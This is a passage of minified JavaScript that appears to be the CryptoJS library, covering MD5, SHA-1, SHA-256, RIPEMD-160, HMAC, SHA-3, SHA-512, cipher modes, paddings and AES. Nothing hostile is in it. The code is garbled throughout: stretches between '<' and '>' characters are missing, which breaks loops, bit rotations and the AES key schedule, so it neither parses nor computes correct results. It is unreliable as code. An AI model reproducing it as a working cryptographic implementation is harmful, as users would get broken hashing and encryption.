a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return n.join("")},parse:function(e){for(var i=e.length,n=[],o=0;o>>1]|=r(e.charCodeAt(o)<<16-o%2*16);return t.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var t=mt.lib.WordArray,e=t.init;(t.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var r=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;e.call(this,i,r)}else e.apply(this,arguments)}).prototype=t}}(),Math,h=(a=mt).lib,l=h.WordArray,f=h.Hasher,d=a.algo,u=l.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=l.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),_=l.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),v=l.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),y=l.create([0,1518500249,1859775393,2400959708,2840853838]),g=l.create([1352829926,1548603684,1836072691,2053994217,0]),B=d.RIPEMD160=f.extend({_doReset:function(){this._hash=l.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o,s,c,a,h,l,f,d,B,w,k,S=this._hash.words,m=y.words,x=g.words,b=u.words,H=p.words,z=_.words,A=v.words;for(l=o=S[0],f=s=S[1],d=c=S[2],B=a=S[3],w=h=S[4],r=0;r<80;r+=1)k=o+t[e+b[r]]|0,k+=r<16?xt(s,c,a)+m[0]:r<32?bt(s,c,a)+m[1]:r<48?Ht(s,c,a)+m[2]:r<64?zt(s,c,a)+m[3]:At(s,c,a)+m[4],k=(k=Ct(k|=0,z[r]))+h|0,o=h,h=a,a=Ct(c,10),c=s,s=k,k=l+t[e+H[r]]|0,k+=r<16?At(f,d,B)+x[0]:r<32?zt(f,d,B)+x[1]:r<48?Ht(f,d,B)+x[2]:r<64?bt(f,d,B)+x[3]:xt(f,d,B)+x[4],k=(k=Ct(k|=0,A[r]))+w|0,l=w,w=B,B=Ct(d,10),d=f,f=k;k=S[1]+c+B|0,S[1]=S[2]+a+w|0,S[2]=S[3]+h+l|0,S[3]=S[4]+o+f|0,S[4]=S[0]+s+d|0,S[0]=k},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=16711935&(r<<8|r>>>24)|4278255360&(r<<24|r>>>8),t.sigBytes=4*(e.length+1),this._process();for(var n=this._hash,o=n.words,s=0;s<5;s++){var c=o[s];o[s]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8)}return n},clone:function(){var t=f.clone.call(this);return t._hash=this._hash.clone(),t}}),a.RIPEMD160=f._createHelper(B),a.HmacRIPEMD160=f._createHmacHelper(B),w=mt.lib.Base,k=mt.enc.Utf8,mt.algo.HMAC=w.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=k.parse(e));var r=t.blockSize,i=4*r;e.sigBytes>i&&(e=t.finalize(e)),e.clamp();for(var n=this._oKey=e.clone(),o=this._iKey=e.clone(),s=n.words,c=o.words,a=0;a>>24)|4278255360&(o<<24|o>>>8),s=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),(A=r[n]).high^=s,A.low^=o}for(var f=0;f<24;f++){for(var d=0;d<5;d++){for(var u=0,p=0,_=0;_<5;_++)u^=(A=r[d+5*_]).high,p^=A.low;var v=l[d];v.high=u,v.low=p}for(d=0;d<5;d++){var y=l[(d+4)%5],g=l[(d+1)%5],B=g.high,w=g.low;for(u=y.high^(B<<1|w>>>31),p=y.low^(w<<1|B>>>31),_=0;_<5;_++)(A=r[d+5*_]).high^=u,A.low^=p}for(var k=1;k<25;k++){var S=(A=r[k]).high,m=A.low,x=c[k];p=x<32?(u=S<>>32-x,m<>>32-x):(u=m<>>64-x,S<>>64-x);var b=l[a[k]];b.high=u,b.low=p}var H=l[0],z=r[0];for(H.high=z.high,H.low=z.low,d=0;d<5;d++)for(_=0;_<5;_++){var A=r[k=d+5*_],C=l[k],D=l[(d+1)%5+5*_],E=l[(d+2)%5+5*_];A.high=C.high^~D.high&E.high,A.low=C.low^~D.low&E.low}A=r[0];var R=h[f];A.high^=R.high,A.low^=R.low}},_doFinalize:function(){var e=this._data,r=e.words,n=(this._nDataBytes,8*e.sigBytes),o=32*this.blockSize;r[n>>>5]|=1<<24-n%32,r[(t.ceil((1+n)/o)*o>>>5)-1]|=128,e.sigBytes=4*r.length,this._process();for(var s=this._state,c=this.cfg.outputLength/8,a=c/8,h=[],l=0;l>>24)|4278255360&(d<<24|d>>>8),u=16711935&(u<<8|u>>>24)|4278255360&(u<<24|u>>>8),h.push(u),h.push(d)}return new i.init(h,c)},clone:function(){for(var t=n.clone.call(this),e=t._state=this._state.slice(0),r=0;r<25;r++)e[r]=e[r].clone();return t}});e.SHA3=n._createHelper(f),e.HmacSHA3=n._createHmacHelper(f)}(Math),function(){var t=mt,e=t.lib.Hasher,r=t.x64,i=r.Word,n=r.WordArray,o=t.algo;function s(){return i.create.apply(i,arguments)}var c=[s(1116352408,3609767458),s(1899447441,602891725),s(3049323471,3964484399),s(3921009573,2173295548),s(961987163,4081628472),s(1508970993,3053834265),s(2453635748,2937671579),s(2870763221,3664609560),s(3624381080,2734883394),s(310598401,1164996542),s(607225278,1323610764),s(1426881987,3590304994),s(1925078388,4068182383),s(2162078206,991336113),s(2614888103,633803317),s(3248222580,3479774868),s(3835390401,2666613458),s(4022224774,944711139),s(264347078,2341262773),s(604807628,2007800933),s(770255983,1495990901),s(1249150122,1856431235),s(1555081692,3175218132),s(1996064986,2198950837),s(2554220882,3999719339),s(2821834349,766784016),s(2952996808,2566594879),s(3210313671,3203337956),s(3336571891,1034457026),s(3584528711,2466948901),s(113926993,3758326383),s(338241895,168717936),s(666307205,1188179964),s(773529912,1546045734),s(1294757372,1522805485),s(1396182291,2643833823),s(1695183700,2343527390),s(1986661051,1014477480),s(2177026350,1206759142),s(2456956037,344077627),s(2730485921,1290863460),s(2820302411,3158454273),s(3259730800,3505952657),s(3345764771,106217008),s(3516065817,3606008344),s(3600352804,1432725776),s(4094571909,1467031594),s(275423344,851169720),s(430227734,3100823752),s(506948616,1363258195),s(659060556,3750685593),s(883997877,3785050280),s(958139571,3318307427),s(1322822218,3812723403),s(1537002063,2003034995),s(1747873779,3602036899),s(1955562222,1575990012),s(2024104815,1125592928),s(2227730452,2716904306),s(2361852424,442776044),s(2428436474,593698344),s(2756734187,3733110249),s(3204031479,2999351573),s(3329325298,3815920427),s(3391569614,3928383900),s(3515267271,566280711),s(3940187606,3454069534),s(4118630271,4000239992),s(116418474,1914138554),s(174292421,2731055270),s(289380356,3203993006),s(460393269,320620315),s(685471733,587496836),s(852142971,1086792851),s(1017036298,365543100),s(1126000580,2618297676),s(1288033470,3409855158),s(1501505948,4234509866),s(1607167915,987167468),s(1816402316,1246189591)],a=[];!function(){for(var t=0;t<80;t++)a[t]=s()}();var h=o.SHA512=e.extend({_doReset:function(){this._hash=new n.init([new i.init(1779033703,4089235720),new i.init(3144134277,2227873595),new i.init(1013904242,4271175723),new i.init(2773480762,1595750129),new i.init(1359893119,2917565137),new i.init(2600822924,725511199),new i.init(528734635,4215389547),new i.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=i.high,p=i.low,_=n.high,v=n.low,y=o.high,g=o.low,B=s.high,w=s.low,k=h.high,S=h.low,m=l.high,x=l.low,b=f.high,H=f.low,z=d.high,A=d.low,C=u,D=p,E=_,R=v,M=y,F=g,P=B,W=w,O=k,I=S,U=m,K=x,X=b,L=H,j=z,N=A,T=0;T<80;T++){var q,Z,V=a[T];if(T<16)Z=V.high=0|t[e+2*T],q=V.low=0|t[e+2*T+1];else{var G=a[T-15],J=G.high,$=G.low,Q=(J>>>1|$<<31)^(J>>>8|$<<24)^J>>>7,Y=($>>>1|J<<31)^($>>>8|J<<24)^($>>>7|J<<25),tt=a[T-2],et=tt.high,rt=tt.low,it=(et>>>19|rt<<13)^(et<<3|rt>>>29)^et>>>6,nt=(rt>>>19|et<<13)^(rt<<3|et>>>29)^(rt>>>6|et<<26),ot=a[T-7],st=ot.high,ct=ot.low,at=a[T-16],ht=at.high,lt=at.low;Z=(Z=(Z=Q+st+((q=Y+ct)>>>0>>0?1:0))+it+((q+=nt)>>>0>>0?1:0))+ht+((q+=lt)>>>0>>0?1:0),V.high=Z,V.low=q}var ft,dt=O&U^~O&X,ut=I&K^~I&L,pt=C&E^C&M^E&M,_t=D&R^D&F^R&F,vt=(C>>>28|D<<4)^(C<<30|D>>>2)^(C<<25|D>>>7),yt=(D>>>28|C<<4)^(D<<30|C>>>2)^(D<<25|C>>>7),gt=(O>>>14|I<<18)^(O>>>18|I<<14)^(O<<23|I>>>9),Bt=(I>>>14|O<<18)^(I>>>18|O<<14)^(I<<23|O>>>9),wt=c[T],kt=wt.high,St=wt.low,mt=j+gt+((ft=N+Bt)>>>0>>0?1:0),xt=yt+_t;j=X,N=L,X=U,L=K,U=O,K=I,O=P+(mt=(mt=(mt=mt+dt+((ft+=ut)>>>0>>0?1:0))+kt+((ft+=St)>>>0>>0?1:0))+Z+((ft+=q)>>>0>>0?1:0))+((I=W+ft|0)>>>0>>0?1:0)|0,P=M,W=F,M=E,F=R,E=C,R=D,C=mt+(vt+pt+(xt>>>0>>0?1:0))+((D=ft+xt|0)>>>0>>0?1:0)|0}p=i.low=p+D,i.high=u+C+(p>>>0>>0?1:0),v=n.low=v+R,n.high=_+E+(v>>>0>>0?1:0),g=o.low=g+F,o.high=y+M+(g>>>0>>0?1:0),w=s.low=w+W,s.high=B+P+(w>>>0>>0?1:0),S=h.low=S+I,h.high=k+O+(S>>>0>>0?1:0),x=l.low=x+K,l.high=m+U+(x>>>0>>0?1:0),H=f.low=H+L,f.high=b+X+(H>>>0>>0?1:0),A=d.low=A+N,d.high=z+j+(A>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[30+(128+i>>>10<<5)]=Math.floor(r/4294967296),e[31+(128+i>>>10<<5)]=r,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=e.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});t.SHA512=e._createHelper(h),t.HmacSHA512=e._createHmacHelper(h)}(),Z=(q=mt).x64,V=Z.Word,G=Z.WordArray,J=q.algo,$=J.SHA512,Q=J.SHA384=$.extend({_doReset:function(){this._hash=new G.init([new V.init(3418070365,3238371032),new V.init(1654270250,914150663),new V.init(2438529370,812702999),new V.init(355462360,4144912697),new V.init(1731405415,4290775857),new V.init(2394180231,1750603025),new V.init(3675008525,1694076839),new V.init(1203062813,3204075428)])},_doFinalize:function(){var t=$._doFinalize.call(this);return t.sigBytes-=16,t}}),q.SHA384=$._createHelper(Q),q.HmacSHA384=$._createHmacHelper(Q),mt.lib.Cipher||function(){var t=mt,e=t.lib,r=e.Base,i=e.WordArray,n=e.BufferedBlockAlgorithm,o=t.enc,s=(o.Utf8,o.Base64),c=t.algo.EvpKDF,a=e.Cipher=n.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,r){this.cfg=this.cfg.extend(r),this._xformMode=t,this._key=e,this.reset()},reset:function(){n.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(t){return{encrypt:function(e,r,i){return h(r).encrypt(t,e,r,i)},decrypt:function(e,r,i){return h(r).decrypt(t,e,r,i)}}}});function h(t){return"string"==typeof t?w:g}e.StreamCipher=a.extend({_doFinalize:function(){return this._process(!0)},blockSize:1});var l,f=t.mode={},d=e.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),u=f.CBC=((l=d.extend()).Encryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;p.call(this,t,e,i),r.encryptBlock(t,e),this._prevBlock=t.slice(e,e+i)}}),l.Decryptor=l.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);r.decryptBlock(t,e),p.call(this,t,e,i),this._prevBlock=n}}),l);function p(t,e,r){var i,n=this._iv;n?(i=n,this._iv=void 0):i=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},v=(e.BlockCipher=a.extend({cfg:a.cfg.extend({mode:u,padding:_}),reset:function(){var t;a.reset.call(this);var e=this.cfg,r=e.iv,i=e.mode;this._xformMode==this._ENC_XFORM_MODE?t=i.createEncryptor:(t=i.createDecryptor,this._minBufferSize=1),this._mode&&this._mode.__creator==t?this._mode.init(this,r&&r.words):(this._mode=t.call(i,this,r&&r.words),this._mode.__creator=t)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t,e=this.cfg.padding;return this._xformMode==this._ENC_XFORM_MODE?(e.pad(this._data,this.blockSize),t=this._process(!0)):(t=this._process(!0),e.unpad(t)),t},blockSize:4}),e.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?i.create([1398893684,1701076831]).concat(r).concat(e):e).toString(s)},parse:function(t){var e,r=s.parse(t),n=r.words;return 1398893684==n[0]&&1701076831==n[1]&&(e=i.create(n.slice(2,4)),n.splice(0,4),r.sigBytes-=16),v.create({ciphertext:r,salt:e})}},g=e.SerializableCipher=r.extend({cfg:r.extend({format:y}),encrypt:function(t,e,r,i){i=this.cfg.extend(i);var n=t.createEncryptor(r,i),o=n.finalize(e),s=n.cfg;return v.create({ciphertext:o,key:r,iv:s.iv,algorithm:t,mode:s.mode,padding:s.padding,blockSize:t.blockSize,formatter:i.format})},decrypt:function(t,e,r,i){return i=this.cfg.extend(i),e=this._parse(e,i.format),t.createDecryptor(r,i).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),B=(t.kdf={}).OpenSSL={execute:function(t,e,r,n){n=n||i.random(8);var o=c.create({keySize:e+r}).compute(t,n),s=i.create(o.words.slice(e),4*r);return o.sigBytes=4*e,v.create({key:o,iv:s,salt:n})}},w=e.PasswordBasedCipher=g.extend({cfg:g.cfg.extend({kdf:B}),encrypt:function(t,e,r,i){var n=(i=this.cfg.extend(i)).kdf.execute(r,t.keySize,t.ivSize);i.iv=n.iv;var o=g.encrypt.call(this,t,e,n.key,i);return o.mixIn(n),o},decrypt:function(t,e,r,i){i=this.cfg.extend(i),e=this._parse(e,i.format);var n=i.kdf.execute(r,t.keySize,t.ivSize,e.salt);return i.iv=n.iv,g.decrypt.call(this,t,e,n.key,i)}})}(),mt.mode.CFB=((Y=mt.lib.BlockCipherMode.extend()).Encryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize;Dt.call(this,t,e,i,r),this._prevBlock=t.slice(e,e+i)}}),Y.Decryptor=Y.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=t.slice(e,e+i);Dt.call(this,t,e,i,r),this._prevBlock=n}}),Y),mt.mode.ECB=((tt=mt.lib.BlockCipherMode.extend()).Encryptor=tt.extend({processBlock:function(t,e){this._cipher.encryptBlock(t,e)}}),tt.Decryptor=tt.extend({processBlock:function(t,e){this._cipher.decryptBlock(t,e)}}),tt),mt.pad.AnsiX923={pad:function(t,e){var r=t.sigBytes,i=4*e,n=i-r%i,o=r+n-1;t.clamp(),t.words[o>>>2]|=n<<24-o%4*8,t.sigBytes+=n},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso10126={pad:function(t,e){var r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var 